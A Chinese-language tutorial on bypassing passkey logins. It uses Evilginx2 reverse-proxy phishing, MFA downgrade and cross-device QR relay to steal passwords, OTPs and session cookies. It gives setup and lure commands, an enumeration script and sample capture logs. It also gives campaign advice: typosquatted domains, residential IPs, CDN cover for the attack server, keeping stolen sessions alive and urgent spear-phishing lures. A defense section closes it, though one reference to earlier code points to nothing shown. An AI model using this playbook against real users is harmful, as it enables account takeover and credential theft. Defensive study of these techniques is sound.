Passkey攻击技术:绕过FIDO2/WebAuthn实现的逻辑漏洞
前言
- 技术背景:在现代网络攻防体系中,身份窃取是绝大多数攻击的起点。从APT攻击到大规模数据泄露,获取合法凭证始终是攻击者的核心目标之一。传统密码因其易被钓鱼、撞库和暴力破解的固有缺陷,已成为安全体系中最薄弱的一环。Passkey,作为基于FIDO2/WebAuthn标准的下一代身份验证技术,通过公钥密码学从根本上解决了密码被盗用的问题,被誉为“抗钓鱼的终极解决方案”。 它在攻防对抗中,将防御重心从“保护一个可被窃取的秘密(密码)”转移到了“验证一个不可被窃取的证明(私钥签名)”。
- 学习价值:掌握Passkey的攻击技术,并非为了作恶,而是为了更深刻地理解“安全是一个整体,而非单个技术的堆砌”。学会本文内容,您将能够:
- 识别并验证Web应用在Passkey实现中常见的逻辑漏洞。
- 在安全评估和渗透测试中,模拟针对Passkey的真实攻击场景,评估系统风险。
- 作为开发者或架构师,构建出真正具备韧性的Passkey认证系统,避免纸面上的安全。
- 使用场景:本技术适用于以下实际场景:
- 授权渗透测试:对实现了Passkey登录的企业应用(如SSO、VPN、关键业务系统)进行安全评估。
- 安全产品研发:开发能够检测和防御Passkey降级攻击、中间人钓鱼等新型威胁的WAF、RASP或终端安全产品。
- 安全架构设计:在设计身份认证与访问管理(IAM)系统时,预见并规避潜在的逻辑缺陷。
- 红蓝对抗演练:作为攻击方(红队)的武器库,模拟高级威胁行为者,检验防御方(蓝队)的监控和响应能力。
一、Passkey是什么
- 精确定义
Passkey是一种基于W3C的WebAuthn标准和FIDO联盟的CTAP(客户端到认证器协议)的数字凭证,用于替代传统密码。 它本质上是一对公私钥对,其中私钥安全地存储在用户的设备(如手机、电脑的TPM芯片或YubiKey等硬件密钥)中且永不离开该设备,而公钥则注册并存储在服务提供商(Relying Party, RP)的服务器上。 - 一个通俗类比
您可以将Passkey想象成一把您家独有的“数字钥匙”和一把在物业登记备案的“数字锁芯”。- 数字钥匙(私钥):这把钥匙被永久焊在您的手机或电脑里,别人偷不走也复制不了。每次回家,您只需用指纹或人脸(用户验证)向设备证明“是我本人”,设备就会自动用这把钥匙开锁。
- 数字锁芯(公钥):您在物业(网站服务器)登记了这把锁芯的规格。当有人用钥匙开门时,物业系统会核对锁芯信息,确保是匹配的钥匙在开锁,而不是万能钥匙或撬棍。
钓鱼网站就像一个骗子在小区门口搭了个假门,想骗您交出钥匙。但您的“数字钥匙”非常智能,它会先检查门的“地契”(网站域名),发现是假的,就拒绝开锁。这就是Passkey原生抗钓鱼的核心原理。
- 实际用途
Passkey旨在提供一种更安全、更便捷的登录体验,完全取代密码。 用户可以使用手机的指纹/面部识别、电脑的Windows Hello或硬件安全密钥,一键登录网站和App,无需记忆和输入任何密码。 目前,苹果、谷歌、微软、亚马逊等科技巨头以及众多金融、电商平台已广泛支持Passkey。 - 技术本质说明
Passkey的技术本质是公钥密码学在Web认证领域的标准化应用。其安全性基于以下几个核心原则:- 无共享秘密 (No Shared Secret):客户端和服务器之间不共享任何可被窃取的秘密(如密码哈希)。服务器只存储公钥,公钥泄露没有风险。
- 源绑定 (Origin Binding):Passkey凭证与创建它的网站域名(源)在密码学上绑定。浏览器在进行签名操作前,会严格校验当前网站的域名是否与凭证绑定的域名一致。因此,即便用户被诱骗到钓鱼网站(如
google-login.com),浏览器也会拒绝使用为google.com创建的Passkey进行签名,从而在协议层面免疫钓鱼攻击。 - 用户验证 (User Verification):每次使用私钥签名时,认证器(Authenticator)都会强制要求用户进行本地验证(如生物识别或PIN码),确保是用户本人在进行操作,防止恶意软件在后台静默使用Passkey。
- 不可导出私钥 (Non-Exportable Private Key):私钥被设计为存储在设备的安全硬件(如TPM, Secure Enclave)中,操作系统和应用程序均无法直接读取或导出它。
二、环境准备
我们将使用开源工具 Evilginx2 结合自定义的 Phishlet 来演示针对Passkey的中间人(AiTM)攻击。这种攻击的核心是利用反向代理实时劫持合法网站的流量,从而捕获凭证和会话。
- 工具版本
- Evilginx2: 3.0.0 或更高版本
- Go: 1.18 或更高版本 (用于编译Evilginx2)
- 操作系统: 一个可公开访问的Linux服务器 (推荐 Ubuntu 22.04 LTS)
- 下载方式
可运行环境命令或 Docker
为了简化部署,您可以使用Docker。
# 仅限授权测试环境# 警告:在未获授权的情况下对任何系统进行测试都是非法的。# 1. 创建配置和Phishlets目录mkdir-p /root/evilginx/phishlets mkdir-p /root/evilginx/data # 2. 运行Evilginx2 Docker容器# 注意:你需要将你的域名和IP替换为实际值docker run -it-p80:80 -p443:443 \-v /root/evilginx/phishlets:/app/phishlets \-v /root/evilginx/data:/app/data \--name evilginx \ ghcr.io/kgretzky/evilginx2 # 进入容器后,执行与上面相同的配置命令# config domain your-attack-domain.com# config ip YOUR_SERVER_IP# ...核心配置命令
在首次运行Evilginx2之前,需要进行基础配置。
# 仅限授权测试环境# 警告:本工具仅用于经授权的教育和安全测试目的。# 未经授权使用可能导致严重法律后果。# 1. 启动Evilginx2 evilginx2 # 2. 配置你的攻击域名 (假设为 attack-domain.com)# 你需要提前购买一个域名,并将其NS记录指向你的服务器IP config domain your-attack-domain.com # 3. 配置你的服务器公网IP config ip YOUR_SERVER_IP # 4. 启用一个用于演示的Phishlet,例如 'o365' (Office 365)# Phishlet是Evilginx2的配置文件,定义了如何代理目标网站 phishlets enable o365 # 5. 为你的攻击域名设置Phishlet# 这会将 o365.your-attack-domain.com 指向Office 365的钓鱼代理 phishlets hostname o365 o365.your-attack-domain.com # 6. 获取Lure (诱饵链接) lures create o365 lures get 0上述命令会生成一个钓鱼链接,例如 https://o365.your-attack-domain.com/some-path。
下载并编译Evilginx2:
# 仅限授权测试环境# 下载Evilginx2 go install github.com/kgretzky/evilginx2@latest # 将Go的二进制路径添加到环境变量echo'export PATH=$PATH:~/go/bin'>> ~/.bashrc source ~/.bashrc 安装Go环境:
# 仅限授权测试环境# 更新包列表sudoapt update # 安装Gosudoaptinstall golang-go -y三、核心实战:Passkey降级与中间人攻击
我们将模拟一个针对已启用Passkey但仍允许密码/OTP作为备用选项的服务的攻击。这是目前最常见的逻辑漏洞利用场景。
- 攻击流程图合法服务 (如Okta, Google)攻击者 (Evilginx)受害者合法服务 (如Okta, Google)攻击者 (Evilginx)受害者捕获用户名和密码攻击者选择“使用其他设备登录”手机上的Passkey完成认证捕获会话Cookie攻击者点击“使用其他验证方式”捕获OTP捕获会话Cookiealt[Passkey跨设备认证 (二维码)][降级到弱MFA]1. 点击钓鱼链接2. 实时代理请求,加载登录页面3. 返回登录页面HTML4. 向受害者展示伪造的登录页5. 输入用户名和密码6. 将用户名/密码提交至真实服务7. 要求进行Passkey验证 (或显示MFA选项)8. 向受害者展示MFA选项9a. 生成合法的登录二维码10a. 在钓鱼页面上显示该二维码11a. 受害者用手机扫描二维码12a. 认证成功,下发会话Cookie13a. 重定向到任意页面,攻击完成9b. 提供弱MFA选项 (如短信OTP)10b. 提示受害者输入OTP11b. 输入从手机收到的OTP12b. 提交OTP13b. 认证成功,下发会话Cookie14b. 重定向,攻击完成
- 编号步骤与说明
- 目的:准备钓鱼环境。
- 操作:按照“二、环境准备”中的步骤,配置好Evilginx2,并生成一个针对目标服务(如Okta)的钓鱼链接。
- 目的:诱导用户点击。
- 操作:通过鱼叉邮件或社交媒体消息,将生成的钓鱼链接发送给目标用户。
- 目的:捕获第一阶段凭证(用户名和密码)。
- 操作:用户点击链接,访问了由Evilginx2代理的、看起来与真实网站一模一样的钓鱼页面。用户输入用户名和密码。
- 目的:绕过Passkey,劫持会话。
- 操作:Evilginx2将捕获的凭证提交给真实服务。真实服务此时要求进行第二因素验证。攻击者在自己的浏览器中看到这个MFA提示。
- 场景A:利用跨设备认证:如果服务支持通过扫描二维码进行跨设备Passkey认证,攻击者选择此选项。真实服务生成一个合法的二维码,Evilginx2将其无缝地展示在受害者的钓鱼页面上。受害者用手机扫描并完成生物识别,实际上是为攻击者的会话进行了授权。
- 场景B:降级攻击:如果服务允许切换到其他MFA方式,攻击者选择一个较弱的选项,如“短信验证码”。 真实服务向受害者手机发送验证码。钓鱼页面提示受害者输入该验证码。受害者输入后,Evilginx2捕获并提交,完成登录。
- 操作:Evilginx2将捕获的凭证提交给真实服务。真实服务此时要求进行第二因素验证。攻击者在自己的浏览器中看到这个MFA提示。
- 目的:接管账户。
- 操作:攻击者使用捕获到的会话Cookie,通过浏览器插件(如Cookie Editor)将其导入自己的浏览器中,刷新页面即可直接登录受害者账户,完全绕过了所有认证步骤。
- 目的:准备钓鱼环境。
自动化脚本示例 (Python)以下脚本用于自动化检测目标网站是否存在“用户名枚举”和“弱MFA降级”的逻辑漏洞,这是Passkey攻击的前置条件。
# 仅限授权测试环境# 警告:此脚本仅用于合法的安全研究和授权测试。# 未经许可对任何系统运行此脚本都是非法的。import requests import json import argparse # 禁用不安全的HTTPS请求警告from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning)defcheck_username_enumeration(target_url, username):""" 检查目标登录接口是否存在用户名枚举漏洞。 一些系统在用户存在和不存在时返回不同的错误信息或响应时间。 """ headers ={"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36","Content-Type":"application/json"}# 这是一个示例payload,需要根据目标系统进行调整 payload ={"username": username,"password":"dummy_password"}try:print(f"[*] 正在测试用户名: {username}...") response = requests.post(target_url, headers=headers, data=json.dumps(payload), verify=False, timeout=10)# 漏洞判断逻辑 (需要根据实际情况调整)# 示例1:基于错误消息if"user not found"in response.text.lower():print(f"[-] 用户名 '{username}' 可能不存在。")returnFalseelif"invalid password"in response.text.lower():print(f"[+] 用户名 '{username}' 存在!发现用户名枚举漏洞。")returnTrue# 示例2:基于响应状态码或结构# ...print(f"[?] 未能明确判断用户名 '{username}' 的状态。")returnNoneexcept requests.exceptions.RequestException as e:print(f"[!] 请求失败: {e}")returnNonedefcheck_mfa_downgrade_option(login_url, valid_username):""" 在模拟登录后,检查页面是否提供了切换或降级MFA的选项。 这是一个概念性函数,实际操作需要使用Selenium等浏览器自动化工具。 """print("\n[*] 正在检查MFA降级选项 (概念性)...")print(" 1. 使用Selenium等工具,使用有效用户名和无效密码登录。")print(f" 2. 导航到: {login_url}")print(f" 3. 输入用户名: {valid_username}")print(" 4. 在MFA提示页面,检查是否存在 'Use another method', 'Try another way', 'Login with SMS' 等链接或按钮。")print("[+] 如果存在此类选项,则系统可能容易受到MFA降级攻击。")if __name__ =="__main__": parser = argparse.ArgumentParser(description="Passkey攻击前置条件检测脚本。") parser.add_argument("-u","--url", required=True,help="目标登录API端点URL。") parser.add_argument("-t","--test-user", required=True,help="用于测试枚举的已知有效用户名。") parser.add_argument("-n","--nonexistent-user", default="nouser123456xyz",help="用于测试枚举的假定不存在的用户名。") args = parser.parse_args()print("--- 开始用户名枚举漏洞检测 ---") check_username_enumeration(args.url, args.test_user) check_username_enumeration(args.url, args.nonexistent_user)print("\n--- 开始MFA降级路径检查 ---") check_mfa_downgrade_option(args.url, args.test_user)输出结果 (Evilginx2):
[2026-03-19 01:30:25] [inf] [o365] 2fa token captured: '123456' [2026-03-19 01:30:28] [inf] [o365] authentication successful! [2026-03-19 01:30:28] [inf] [o365] session cookie 'session_id' captured: 0123456789abcdef... 输出结果 (Evilginx2):
[2026-03-19 01:30:00] [inf] [http] GET /... [2026-03-19 01:30:15] [inf] [o365] credentials captured: username='[email protected]' password='Password123' 四、进阶技巧
- 常见错误
- 域名选择不当:使用
.xyz、.top等廉价且声誉不佳的域名容易被邮件网关和安全软件拦截。应选择看起来更合法的域名,如使用拼写错误(typo-squatting)或相似字符(micros0ft.com)。 - Phishlet过时:目标网站(如Google, Microsoft)会频繁更新其登录流程和前端代码,导致旧的Phishlet失效。攻击前必须先在测试环境验证Phishlet的有效性,并根据需要进行更新。
- IP信誉问题:使用云服务商(AWS, Azure, GCP)的IP地址容易被标记为恶意。可以考虑使用信誉较好的住宅或商业ISP的IP。
- 域名选择不当:使用
- 性能 / 成功率优化
- CDN隐藏真实IP:在Evilginx2服务器前部署一层CDN(如Cloudflare),可以隐藏攻击服务器的真实IP,并提高钓鱼网站的加载速度,减少受害者的疑心。
- 动态参数化Lure:不要对所有目标使用同一个钓鱼链接。通过
lures create <phishlet> -p <param_name> <param_value>为每个目标生成带有特定参数的链接(如[email protected]),可以在钓鱼页面上预填用户信息,增加可信度。 - 会话持久化:Evilginx2捕获的会话Cookie有有效期。编写脚本定期使用这些Cookie访问目标服务,以保持会话活跃,避免过早失效。
- 实战经验总结
- 攻击的本质是利用信任。Passkey的设计信任浏览器和操作系统,而我们的攻击则利用了用户对“看起来一样”的页面的信任,以及系统设计者对“多一种选择更方便”的信任。
- 最脆弱的环节永远是新旧系统的过渡期。只要系统为了兼容性而保留了弱认证方式,它就是攻击者的首选目标。
- 社会工程学是成功的关键。一封精心制作的、带有紧迫感和权威性的钓鱼邮件(如“安全警报:您的账户存在异常登录,请立即验证”)远比一个裸链接更有效。
- 对抗 / 绕过思路
- 绕过FIDO2的邻近检测:在跨设备认证中,一些实现会使用蓝牙信标(Bluetooth Beacon)来验证用户手机和电脑是否物理邻近。绕过这种机制需要更复杂的攻击链,例如,诱导用户在受控的物理设备(如一个被植入恶意软件的公共充电桩)上进行操作,或者利用蓝牙协议的漏洞。
- 利用浏览器漏洞:如果能通过其他方式(如恶意扩展、0-day漏洞)在受害者浏览器中执行JavaScript,就可以直接调用WebAuthn API,伪造请求或窃取
clientDataJSON,干扰或劫持正常的Passkey认证流程。 - 攻击同步机制:Passkey可以在用户的多个设备间通过云服务(如iCloud Keychain, Google密码管理器)同步。如果能攻破用户的云账户(通常受密码和传统MFA保护),理论上可以将窃取的Passkey同步到攻击者自己的设备上。
五、注意事项与防御
- 错误写法 vs 正确写法 (开发侧)
| 风险点 | ❌ 错误写法 (不安全) | ✅ 正确写法 (安全) |
|---|---|---|
| 允许弱MFA回退 | 在MFA选项中同时提供Passkey和短信OTP,用户可自由选择。 | 对高权限用户或敏感操作,强制要求仅使用Passkey。将弱MFA作为账户恢复的最后手段,并增加严格的人工审核。 |
| 账户恢复流程 | 用户忘记密码后,仅通过发送重置链接到邮箱即可完成重置。 | 账户恢复应采用多重证据。例如,要求用户通过已注册的另一台设备确认,或回答预设的安全问题,并结合人工审核。 |
| RP ID配置 | 为图方便,将RP ID设置为一个宽泛的父域名,如 example.com,导致所有子域名(包括测试子域)都能使用Passkey。 | RP ID应尽可能精确,指向提供认证服务的具体域名,如 login.example.com。避免使用通配符。 |
| 服务器校验不严 | 仅验证签名的有效性,未严格绑定签名挑战(challenge)与特定用户会话。 | 服务器端必须确保用于签名的challenge是为当前正在登录的用户会话专门生成的,并且一次性有效,防止重放攻击或会话交叉。 |
- 风险提示
- 对于用户:Passkey并非万无一失。如果设备本身被盗或被植入恶意软件,Passkey的安全性将受到挑战。 永远不要在不信任的设备上登录或同步您的Passkey。
- 对于企业:实现Passkey不等于实现了绝对安全。配套的账户恢复、MFA策略、服务器端校验逻辑共同决定了最终的安全水位。
- 运维侧加固方案
- 强制执行Phishing-Resistant MFA:在身份提供商(IdP,如Okta, Azure AD)的策略中,为敏感应用和管理员账户强制要求仅使用基于FIDO2的认证器。
- 监控异常登录行为:检测来自异常地理位置、IP地址或用户代理(User-Agent)的登录尝试,特别是当一个会话在密码验证成功后,MFA方式突然从Passkey切换到其他方式时,应产生高优先级告警。
- 内容安全策略 (CSP):部署严格的CSP,限制可以加载和执行脚本的来源,减少XSS漏洞被利用来干扰WebAuthn流程的风险。
- 日志检测线索
- 短时间内来自同一IP的多个账户登录失败/成功:可能是凭证填充或密码喷洒攻击。
- MFA方式切换:日志中记录用户在单次登录流程中切换MFA选项的行为,特别是从强认证(Passkey)切换到弱认证(SMS)。
- User-Agent与IP地理位置不匹配:一个声称来自美国移动设备的User-Agent,其IP地址却位于东欧的数据中心,这是典型的代理或攻击者迹象。
- 签名计数器异常:如上文代码所示,监控到签名计数器未增加或回滚的情况,是认证器被克隆的强烈信号。
开发侧安全代码范式以下是一个使用 simplewebauthn 库的Node.js后端示例,展示了如何进行严格的服务器端验证。
// 仅限授权测试环境 - 安全代码范例import{ verifyAuthenticationResponse }from'@simplewebauthn/server';// ... 在你的Express路由中 ...asyncfunctionloginVerification(req, res){const{ credential, username }= req.body;// 1. 从数据库中获取该用户的凭证信息const user = db.getUser(username);if(!user){return res.status(404).send({error:'User not found'});}// 2. 获取存储在会话中的挑战 (Challenge)const expectedChallenge = req.session.challenge;try{// 3. 执行核心验证const verification =awaitverifyAuthenticationResponse({response: credential,expectedChallenge: expectedChallenge,expectedOrigin:'https://your-domain.com',// 必须与前端的origin完全匹配expectedRPID:'your-domain.com',// 必须与注册时使用的RP ID一致authenticator: user.credential,// 从数据库中取出的、该用户注册的凭证requireUserVerification:true,// 强制要求用户进行了生物识别或PIN验证});const{ verified, authenticationInfo }= verification;if(verified){// 4. 验证签名计数器,防止凭证克隆// 如果数据库中的签名计数器大于等于收到的计数器,则可能是克隆攻击if(authenticationInfo.newCounter <= user.credential.counter){// 触发警报,可能存在克隆的认证器 console.error(`[SECURITY ALERT] Cloned authenticator detected for user ${username}`);return res.status(400).send({error:'Authentication failed.'});}// 5. 更新数据库中的签名计数器 db.updateCounter(username, authenticationInfo.newCounter);// 登录成功,创建会话 req.session.isLoggedIn =true;return res.send({success:true});}else{return res.status(400).send({error:'Authentication failed.'});}}catch(error){ console.error(error);return res.status(500).send({error:'Internal server error'});}}总结
- 核心知识:针对Passkey的攻击不针对其密码学本身,而是利用实现过程中的逻辑漏洞,尤其是MFA降级攻击和围绕账户恢复流程的攻击。
- 使用场景:这些技术主要用于授权渗透测试和红蓝对抗,以评估和验证企业身份认证体系的真实安全性。
- 防御要点:防御的核心在于消除弱认证路径。对开发者而言,要进行严格的服务器端校验;对运维者而言,要强制执行抗钓鱼的MFA策略并监控异常行为。
- 知识体系连接:Passkey攻击是Web安全、身份认证安全和社会工程学的交叉领域。它完美诠释了“攻击者总是在寻找最薄弱环节”的原则,即使在引入了先进技术之后也是如此。
- 进阶方向:更高级的研究方向包括绕过物理邻近检测、利用浏览器或操作系统漏洞直接与认证器交互,以及针对Passkey云同步机制的攻击。
自检清单
- 是否说明技术价值?
- 是否给出学习目标?
- 是否有 Mermaid 核心机制图?
- 是否有可运行代码?
- 是否有防御示例?
- 是否连接知识体系?
- 是否避免模糊术语?